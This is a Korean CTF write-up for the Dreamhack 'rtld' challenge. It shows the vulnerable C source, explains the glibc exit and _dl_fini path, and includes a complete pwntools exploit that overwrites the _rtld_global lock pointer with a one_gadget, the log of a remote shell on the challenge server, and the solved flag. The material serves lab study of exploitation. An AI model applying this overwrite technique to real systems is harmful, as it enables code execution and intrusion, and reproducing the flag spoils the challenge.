Description
이 문제는 작동하고 있는 서비스(rtld)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 rtld overwrite 공격 기법으로 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec

Decompiled-src
rtld.c
// gcc -o rtld rtld.c -fPIC -pie #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <dlfcn.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { system("/bin/sh"); } int main() { long addr; long value; initialize(); printf("stdout: %p\n", stdout); printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", &value); *(long *)addr = value; return 0; }
stdout 주소값을 알려주고,
원하는 주소에 값을 딱 한번만 넣을 수 있다.
Solution
ubuntu 17.10 libc-2.26.so (2.26-0ubuntu2.1) 로컬 환경에서 분석을 진행하였다.

rtld 바이너리의 main 함수가 종료될 시에 __GI_exit 함수가 호출된다.

__GI_exit 함수가 호출될시에 __run_exit_handler가 호출된다.

__run_exit_handler 함수는 exit_function 구조체 멤버 변수인 flavor 값에 따라서 함수를 호출하는데,
https://github.com/bminor/glibc/blob/glibc-2.27/stdlib/exit.c#L77
https://github.com/bminor/glibc/blob/glibc-2.27/stdlib/exit.h#L31C3-L31C9
여기서는 ef_cxa(=4)가 flavor값이 기본으로 되어있어서,
로더 라이브러리 내부에 존재하는 _dl_fini 함수를 호출한다.



https://github.com/bminor/glibc/blob/glibc-2.27/elf/dl-fini.c#L53
glibc/elf/dl_fini.c 소스코드를 확인해봤을때,
__rtld_lock_lock_recursive 함수 포인터를 원가젯으로 덮으면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #local #ubuntu 17.10 libc-2.26.so (2.26-0ubuntu2.1) # p = process("./rtld") # e = ELF('./rtld', checksec=False) # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # ld = ELF('/lib64/ld-linux-x86-64.so.2', checksec=False) #server p = remote("host3.dreamhack.games", "23099") e = ELF('./rtld', checksec=False) libc = ELF('./libc-2.23.so', checksec=False) ld = ELF('./ld-2.23.so', checksec=False) stdout = p.recvline() stdout = stdout.split(b": ")[1] stdout = stdout.split(b"\n")[0] stdout = int(stdout, 16) print(f"stdout: {hex(stdout)}") libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] ld_base = libc_base + 0x3ca000 #local # dl_rtld_lock_recursive = ld_base + ld.symbols['_rtld_global'] + 3840 #local dl_rtld_lock_recursive = ld_base + ld.symbols['_rtld_global'] + 3848 #server print(f"libc_base: {hex(libc_base)}") print(f"ld_base: {hex(ld_base)}") print(f"dl_rtld_lock_recursive: {hex(dl_rtld_lock_recursive)}") #one_gadgets = [0x47c9a, 0xfccde, 0xfdb8e] #local one_gadgets = [0x4527a, 0xf03a4, 0xf1247] #server p.sendlineafter("addr: ", str(dl_rtld_lock_recursive)) p.sendlineafter("value: ", str(libc_base+one_gadgets[2])) p.interactive()
Result
seo@ubuntu:~/Desktop/rtld$ python3 solve2.py [+] Opening connection to host3.dreamhack.games on port 23099: Done [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) stdout: 0x7f5620bfe620 libc_base: 0x7f5620839000 ld_base: 0x7f5620c03000 dl_rtld_lock_recursive: 0x7f5620e29f48 [*] Switching to interactive mode $ ls flag rtld $ cat flag DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 23099
FLAG
DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}